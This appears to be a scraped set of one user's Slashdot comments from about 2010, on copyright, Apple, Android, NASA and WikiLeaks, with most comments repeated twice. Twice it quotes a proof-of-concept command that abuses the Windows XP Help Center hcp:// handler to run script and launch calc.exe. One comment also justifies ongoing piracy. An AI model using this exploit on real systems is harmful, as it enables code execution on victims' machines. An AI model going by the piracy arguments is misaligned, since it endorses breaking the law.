When I went to click on this link, I told myself "This better not just be another glowing dot". As usual, I was severely disappointed.
Also, 500 Light Years?
So even if we achieve FTL travel it's gonna be 40 lifetimes before we get there, not including the time to send any information back? This is where potential space travel funding is going?
May I suggest some form of "Use it or Lose it" clause. I know this is probably wishful thinking, but it seems if you're not using your copyright to protect your financial interests, you should not be permitted to use it as a lock-down control like this.
Would Sony be losing money by allowing this to continue? No, not at all.
They don't use their copyright on the product on a regular basis to protect a version they have out there, and so they should no longer be allowed said copyright. Now if they had a version actively for sale or under development for sale soon, I could see how this would be in the interest of protecting their revenue.
This can be said about a lot of old-school media franchises. We could put an arbitrary limit of - say - 2 years on it. If you haven't had a product for sale covered under the copyright in two years, then you should lose it.
This should be sufficient for allowing any copyright holders time for profit recap from their material, while at the same time allowing the general public to continue their interest beyond what is provided by a single content creator.
If you're not selling anything, what are you protecting with it, precisely?
If I got to another country as an 'Agent of America' - aka one of its citizens - wouldn't I just get deported back to the US?
Seems to me deportation and no-fly listing would be sufficient.
More likely it seems like they are US Citizens who have nothing to do with Russia, and they did/saw/know something the government no longer wants floating out there, so they are being taken prisoner as 'spies' to make sure they STFU.
Copyright proponents are clearly living in a dream world if they think ACTA or suing/arresting people for downloading files is going to improve their business or profits. Here are my reasons for continually violating copyright laws, for anyone who cares to read them:
1. Copying a file is not theft. I do not deprive the original owner of the property which I am taking, therefore nothing is lost, therefore there is no crime. If somehow downloading a file made it disappear from the host machine, I could see theft being a valid argument.
2. Prices are going far beyond the worth of the materials they are asking me to pay for. Value should be computed based on what people are willing to pay for a particular item. By this logic, if trends are any indication, digital music and video files should be free or nearly free.
3. The proceeds from sales of these items does NOT go to the people who produce it. Instead, there is a cartel of corporations with no real product to speak of who collect a majority of the money paid for these items, just to police and enforce future payments on the items. This sounds ludicrous to me and I don't understand why it's allowed to continue.
4. It is often easier to get and use products illegally for free than it would be to purchase them legally, even if I was inclined to pay for them. The Pirate Bay is much easier to use than the Adobe store. It's easier to use than iTunes as well, and I don't risk the exposure of my personal information either.
5. The supposed value of these items is far beyond what I am capable of paying for them. I do not have $700 to spend on the CS4 Master Collection, nor $7000 to spend on Maya 2010. I am a poor college student, and suing me for downloading music isn't going to help me afford paying for it in the future.
6. The tactics used to police copyright are nothing less than bullying. The corporations with executives making tens of millions of dollars a year suing housewives and college students does not sit well with me, and therefore I will do everything in my power to defy these people and cause them problems.
Global cooperation provides more hands, funds, and experience to work toward a common goal.
Your paranoia about a 'global government' is completely unfounded and the type of nonsense that only someone with no knowledge of the way the world works would shovel.
Anything to inspire cooperation, explore new areas, improve technology, and deteriorate war and its causes is a good step for our world.
If you think otherwise kindly get the fuck off of my planet and go pollute another.
The Constitution is NOT "part of the law". The Constitution is the foundation on which our laws are supposed to be based.
Allowing people to impose their opinions in areas that are not vague or unclear from the Constitution's wording is not in our nations best interest, and is the fastest way toward a descent into extreme conservatism.
I don't think there's anything unclear about the freedom of speech or the press, yet this woman seems to think she has the right to impose her personal preferences instead.
Doesn't this fly in the face of Obama's political views(or supposed views), and doesn't he have to approve her appointment?
Using the term 'Retina Display' to describe a high-resolution screen might just be the most misleading thing I've heard come from Apple's PR department yet. A 'Retina Display' in the proper sense, actually projects an image onto the retina of the eye with no need for an actual display screen. This is not a Retina Display, and is clearly designed to stir up hype where none is deserved.
At this point, I don't think anything Apple can do will bring me to appreciate their products, especially if they continue to ride other companies' coattails into their next generation products
Yes, congratulations, you have a front-facing camera now. That's not going to make the iPads without one sell any better, and I'm sure having two cameras and a massively complex display is going to just trash your battery time, even if you did put in a slightly bigger battery.
Their 'multitasking' is hardly that. You can SWITCH between running programs, but that doesn't mean that you can actively use more than one at a time. The one in the background appears to be completely halted while using something else. If they're using the iPad processor it seems like it wouldn't have any more multitasking than that architecture allows, which is little to none. On my droid I can run SecondLife, Pandora, another radio station from anywhere, surf the web, and watch videos - all at the same time. All of these programs can take input or provide information at the same time. Nice try Apple.
In summary, get a Droid Incredible if you want a fun, open experience. Buy an iPhone 4G if you want the same old shit with a new name and box.
Postfix/RPN is much harder to visually understand than typical infix expressions. The fact is that a standard infix calculator is much less intensive to create for the developer.
With RPN you would need direct access to the device stack or some sort of manually-implemented stack-based architecture. I find using the standard architecture to be much easier in all regards, unless you happen to be writing iPhone apps in Assembly.
Until Apple wakes up and realizes that they need to allow Flash in some form, their stock is constantly falling in my opinion.
I never use iPhones, I'm an Android guy, but as far as writing software for the iPhone I don't bother anymore because of the overly draconian approval process(one of my apps was rejected, as best as I can tell, because I misspelled a word) and lockdowns like "Can't use AdMob".
I don't want to sign up for some independent advertising company that probably sends kickbacks to Apple! I have an AdMob account and I've got it set how I want it. What the hell is wrong with you, Jobs?
If you watch the video, he gets hit on by a reporter and says that reporters are always asking him if he's single.
I don't think it's creepy at all, and in fact, I'd love to get baked with this dude, throw a red Terminator LED in there, and go around scaring kids on the street.
If the problem is that AdMob is owned/operated by Google, why not just make it its own company? Unaffiliated with Google except for being built originally by them. AdMob, Inc. could do - well, just that: serve ads. Then it would meet Apple's criteria for allowed advertising and it would be a pretty simple move by Google, and a big "Up Yours" to apple. If Apple doesn't allow it after that, I think it's a pretty clear-cut anti-competitive move.
I don't know about you, but I'm CONSTANTLY inundated with ads on the 360. Between product placement in games and the home screen constantly hocking me about what new games are out and what's new on the market, I feel like I'm always being pushed to buy something. Even M$ points or whatever they're called.
/* You can test this with a command like so (assuming a recent IE):
C:\> ver Microsoft Windows XP [Version 5.1.2600] C:\> c:\windows\pchealth\helpctr\binaries\helpctr.exe -url "hcp://system/sysinfo/sysinfomain.htm?svr=<script defer>eval(unescape('Run%28%22calc.exe%22%29'))</script>"
*/
So that did nothing for me, even with no recent updates in weeks.
Could this mean that when Firefox is set as the default browser and IE is old and unused, this bug is ineffective? I don't think I've used IE in at least 5 years.
Gee, I wonder how companies who give away software for free and whose software is largely maintained by the user community could ever make less money than the companies that lock their software down and charge hundreds of dollars per copy?
Sometimes it's nice to be able to have images on pages you use most often. Sometimes the plain search is boring.
For example, I have no idea what this is about because I have my iGoogle page setup with all my feeds and links, and in fact that's how I found this/. story. I can't remember the last time I even saw the plain google.com page(ok, yes I do...I went to play the pac-man logo for a while).
I use firefox and have a black persona with flashing lightning bolts on it, and my iGoogle page has the EarthLight skin which shows where it is currently daylight in a cool map image. Both are large images(together taking up almost 1/3 of my screen's vertical real estate) but they are really well executed and not at all intrusive to me. The data within/on top of the images is easy to read, and the images aren't so loud they pull all attention from the purpose of the page to "What the f___ is going on with this page?".
I think that if the images are done right(as in subtle and seamless), and people are allowed to opt-in for those who don't embrace even subtle change, this wouldn't be a terrible idea for a feature.
That's seriously what it's coming down to. Apple is going to drive away so many people with their closed-minded situation. Can they not see this? Can they not see the global trend toward free and open? Or do they just not care for the sake of profit and propriety?
I'm done with them. Go to hell Jobs. Take that shitty King Sized iPhone-sans-phone with you.
Slashdot Mirror
If they're declaring war on US citizens can the government please step in and fight back? This is fucking ridiculous.
When I went to click on this link, I told myself "This better not just be another glowing dot". As usual, I was severely disappointed.
Also, 500 Light Years?
So even if we achieve FTL travel it's gonna be 40 lifetimes before we get there, not including the time to send any information back? This is where potential space travel funding is going?
Very sad.
May I suggest some form of "Use it or Lose it" clause. I know this is probably wishful thinking, but it seems if you're not using your copyright to protect your financial interests, you should not be permitted to use it as a lock-down control like this.
Would Sony be losing money by allowing this to continue? No, not at all.
They don't use their copyright on the product on a regular basis to protect a version they have out there, and so they should no longer be allowed said copyright. Now if they had a version actively for sale or under development for sale soon, I could see how this would be in the interest of protecting their revenue.
This can be said about a lot of old-school media franchises. We could put an arbitrary limit of - say - 2 years on it. If you haven't had a product for sale covered under the copyright in two years, then you should lose it.
This should be sufficient for allowing any copyright holders time for profit recap from their material, while at the same time allowing the general public to continue their interest beyond what is provided by a single content creator.
If you're not selling anything, what are you protecting with it, precisely?
If I got to another country as an 'Agent of America' - aka one of its citizens - wouldn't I just get deported back to the US?
Seems to me deportation and no-fly listing would be sufficient.
More likely it seems like they are US Citizens who have nothing to do with Russia, and they did/saw/know something the government no longer wants floating out there, so they are being taken prisoner as 'spies' to make sure they STFU.
This is getting completely out of hand.
Copyright proponents are clearly living in a dream world if they think ACTA or suing/arresting people for downloading files is going to improve their business or profits. Here are my reasons for continually violating copyright laws, for anyone who cares to read them:
1. Copying a file is not theft. I do not deprive the original owner of the property which I am taking, therefore nothing is lost, therefore there is no crime. If somehow downloading a file made it disappear from the host machine, I could see theft being a valid argument.
2. Prices are going far beyond the worth of the materials they are asking me to pay for. Value should be computed based on what people are willing to pay for a particular item. By this logic, if trends are any indication, digital music and video files should be free or nearly free.
3. The proceeds from sales of these items does NOT go to the people who produce it. Instead, there is a cartel of corporations with no real product to speak of who collect a majority of the money paid for these items, just to police and enforce future payments on the items. This sounds ludicrous to me and I don't understand why it's allowed to continue.
4. It is often easier to get and use products illegally for free than it would be to purchase them legally, even if I was inclined to pay for them. The Pirate Bay is much easier to use than the Adobe store. It's easier to use than iTunes as well, and I don't risk the exposure of my personal information either.
5. The supposed value of these items is far beyond what I am capable of paying for them. I do not have $700 to spend on the CS4 Master Collection, nor $7000 to spend on Maya 2010. I am a poor college student, and suing me for downloading music isn't going to help me afford paying for it in the future.
6. The tactics used to police copyright are nothing less than bullying. The corporations with executives making tens of millions of dollars a year suing housewives and college students does not sit well with me, and therefore I will do everything in my power to defy these people and cause them problems.
OR...
Global cooperation provides more hands, funds, and experience to work toward a common goal.
Your paranoia about a 'global government' is completely unfounded and the type of nonsense that only someone with no knowledge of the way the world works would shovel.
Anything to inspire cooperation, explore new areas, improve technology, and deteriorate war and its causes is a good step for our world.
If you think otherwise kindly get the fuck off of my planet and go pollute another.
The Constitution is NOT "part of the law". The Constitution is the foundation on which our laws are supposed to be based.
Allowing people to impose their opinions in areas that are not vague or unclear from the Constitution's wording is not in our nations best interest, and is the fastest way toward a descent into extreme conservatism.
I don't think there's anything unclear about the freedom of speech or the press, yet this woman seems to think she has the right to impose her personal preferences instead.
Doesn't this fly in the face of Obama's political views(or supposed views), and doesn't he have to approve her appointment?
What are our hackers going to talk on now ... ??? All we have is IR....oh wait. Nobody's used ICQ in years.
Using the term 'Retina Display' to describe a high-resolution screen might just be the most misleading thing I've heard come from Apple's PR department yet. A 'Retina Display' in the proper sense, actually projects an image onto the retina of the eye with no need for an actual display screen. This is not a Retina Display, and is clearly designed to stir up hype where none is deserved.
http://en.wikipedia.org/wiki/Virtual_retinal_display
At this point, I don't think anything Apple can do will bring me to appreciate their products, especially if they continue to ride other companies' coattails into their next generation products
Yes, congratulations, you have a front-facing camera now. That's not going to make the iPads without one sell any better, and I'm sure having two cameras and a massively complex display is going to just trash your battery time, even if you did put in a slightly bigger battery.
Their 'multitasking' is hardly that. You can SWITCH between running programs, but that doesn't mean that you can actively use more than one at a time. The one in the background appears to be completely halted while using something else. If they're using the iPad processor it seems like it wouldn't have any more multitasking than that architecture allows, which is little to none. On my droid I can run SecondLife, Pandora, another radio station from anywhere, surf the web, and watch videos - all at the same time. All of these programs can take input or provide information at the same time. Nice try Apple.
In summary, get a Droid Incredible if you want a fun, open experience. Buy an iPhone 4G if you want the same old shit with a new name and box.
I have a new favorite charity...
"Just like a telephone..."
I have a telephone. I don't need something 'just like' it.
Yes! Now that we know extra-solar planets are more likely than we thought to be habitable, let's go and.....
...cancel our space program.
Way to go NASA.
Postfix/RPN is much harder to visually understand than typical infix expressions. The fact is that a standard infix calculator is much less intensive to create for the developer.
With RPN you would need direct access to the device stack or some sort of manually-implemented stack-based architecture. I find using the standard architecture to be much easier in all regards, unless you happen to be writing iPhone apps in Assembly.
Until Apple wakes up and realizes that they need to allow Flash in some form, their stock is constantly falling in my opinion.
I never use iPhones, I'm an Android guy, but as far as writing software for the iPhone I don't bother anymore because of the overly draconian approval process(one of my apps was rejected, as best as I can tell, because I misspelled a word) and lockdowns like "Can't use AdMob".
I don't want to sign up for some independent advertising company that probably sends kickbacks to Apple! I have an AdMob account and I've got it set how I want it. What the hell is wrong with you, Jobs?
If you watch the video, he gets hit on by a reporter and says that reporters are always asking him if he's single.
I don't think it's creepy at all, and in fact, I'd love to get baked with this dude, throw a red Terminator LED in there, and go around scaring kids on the street.
Hey Spence, how's your Arnold impression?
From the top of the WikiLeaks main page:
"# Fri, 11 Jun 2010 14:37:12 wikileaks: Super panel tonight in Vegas with Julian Assange, Valerie Plame & Scott Risen | IRE10 bit.ly/dwcjxI"
Wow, is it really that hard to find him? He tweets his location pretty regularly...
I hope he gets a gun and exercises his 2nd amendment right. If there was ever something I think it applied to, I would imagine this is it.
If the problem is that AdMob is owned/operated by Google, why not just make it its own company? Unaffiliated with Google except for being built originally by them. AdMob, Inc. could do - well, just that: serve ads. Then it would meet Apple's criteria for allowed advertising and it would be a pretty simple move by Google, and a big "Up Yours" to apple. If Apple doesn't allow it after that, I think it's a pretty clear-cut anti-competitive move.
I don't know about you, but I'm CONSTANTLY inundated with ads on the 360. Between product placement in games and the home screen constantly hocking me about what new games are out and what's new on the market, I feel like I'm always being pushed to buy something. Even M$ points or whatever they're called.
If you make whatever you make for Android, I'll tolerate your ads. I won't, however, buy iCrap to see them on.
I don't think this looks very fun to play, but I think it would be very fun to work on and research with. I've never tried writing games for business.
/*
You can test this with a command like so (assuming a recent IE):
C:\> ver
Microsoft Windows XP [Version 5.1.2600]
C:\> c:\windows\pchealth\helpctr\binaries\helpctr.exe -url "hcp://system/sysinfo/sysinfomain.htm?svr=<script
defer>eval(unescape('Run%28%22calc.exe%22%29'))</script>"
*/
So that did nothing for me, even with no recent updates in weeks.
Could this mean that when Firefox is set as the default browser and IE is old and unused, this bug is ineffective? I don't think I've used IE in at least 5 years.
Gee, I wonder how companies who give away software for free and whose software is largely maintained by the user community could ever make less money than the companies that lock their software down and charge hundreds of dollars per copy?
It's almost like people aren't paying for it!
Most "duh" article I have ever seen on /.
meme:
I don't think that word means what you think it means.
Sometimes it's nice to be able to have images on pages you use most often. Sometimes the plain search is boring.
For example, I have no idea what this is about because I have my iGoogle page setup with all my feeds and links, and in fact that's how I found this /. story. I can't remember the last time I even saw the plain google.com page(ok, yes I do...I went to play the pac-man logo for a while).
I use firefox and have a black persona with flashing lightning bolts on it, and my iGoogle page has the EarthLight skin which shows where it is currently daylight in a cool map image. Both are large images(together taking up almost 1/3 of my screen's vertical real estate) but they are really well executed and not at all intrusive to me. The data within/on top of the images is easy to read, and the images aren't so loud they pull all attention from the purpose of the page to "What the f___ is going on with this page?".
I think that if the images are done right(as in subtle and seamless), and people are allowed to opt-in for those who don't embrace even subtle change, this wouldn't be a terrible idea for a feature.
HEIL APPLE!
That's seriously what it's coming down to. Apple is going to drive away so many people with their closed-minded situation. Can they not see this? Can they not see the global trend toward free and open? Or do they just not care for the sake of profit and propriety?
I'm done with them. Go to hell Jobs. Take that shitty King Sized iPhone-sans-phone with you.